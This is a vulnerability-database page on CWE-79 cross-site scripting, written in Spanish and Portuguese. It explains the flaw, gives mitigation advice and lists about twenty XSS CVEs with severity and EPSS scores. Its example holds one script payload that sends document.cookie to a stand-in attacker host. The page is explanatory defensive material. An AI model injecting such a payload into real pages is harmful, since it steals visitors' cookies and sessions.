Fallos del tipo CWE-79

28.618 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-25022MEDIUMUpdraftPlus < 1.16.66 - Reflected Cross-Site ScriptingEPSS 1.1%CVE-2022-45064HIGHApache Sling Engine: Include-based XSSEPSS 1.1%CVE-2022-1961MEDIUMGoogle Tag Manager for WordPress (GTM4WP) <= 1.15.1 - Stored Cross-Site Scripting via Content Element IDEPSS 1.1%CVE-2024-41357HIGHphpipam 1.6 is vulnerable to Cross Site Scripting (XSS) via /app/admin/powerDNS/record-edit.php.EPSS 1.1%CVE-2022-1167—CareerUp < 2.3.1 - Unauthenticated Reflected Cross-Site ScriptingEPSS 1.1%CVE-2016-9465—Nextcloud Server before 10.0.1 & ownCloud Server before 9.0.6 and 9.1.2 suffer from Stored XSS in CardDAV image export. The CardDAV image exEPSS 1.1%CVE-2024-21394HIGHDynamics 365 Field Service Spoofing VulnerabilityEPSS 1.1%CVE-2022-1557—ULeak Security & Monitoring <= 1.2.3 - Subscriber+ Stored Cross-Site ScriptingEPSS 1.1%CVE-2022-41473MEDIUMRPCMS v3.0.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the Search function.EPSS 1.1%CVE-2022-2089—Bold Page Builder < 4.3.3 - Admin+ Stored Cross-Site ScriptingEPSS 1.1%CVE-2021-24153—Yoast SEO < 3.4.1 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 1.1%CVE-2022-29618—Due to insufficient input validation, SAP NetWeaver Development Infrastructure (Design Time Repository) - versions 7.30, 7.31, 7.40, 7.50, aEPSS 1.1%CVE-2025-22466HIGHReflected XSS in Ivanti Endpoint Manager before version 2024 SU1 or before version 2022 SU7 allows a remote unauthenticated attacker to obtaEPSS 1.1%CVE-2024-45061HIGHA cross-site scripting (xss) vulnerability exists in the weather map editor functionality of Observium CE 24.4.13528. A specially crafted HTEPSS 1.1%CVE-2022-24851HIGHStored XSS and path traversal in LDAPAccountManager/lamEPSS 1.1%CVE-2019-14881MEDIUMA vulnerability was found in moodle 3.7 before 3.7.3, where there is blind XSS reflected in some locations where user email is displayed.EPSS 1.1%CVE-2019-3754MEDIUMDell EMC Unity Operating Environment versions prior to 5.0.0.0.5.116, Dell EMC UnityVSA versions prior to 5.0.0.0.5.116 and Dell EMC VNXe320EPSS 1.1%CVE-2024-33299MEDIUMCross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the First Name and Last NameEPSS 1.1%CVE-2021-32681MEDIUMImproper escaping of HTML ('Cross-site Scripting') in Wagtail StreamField blocksEPSS 1.1%CVE-2019-12644MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 1.1%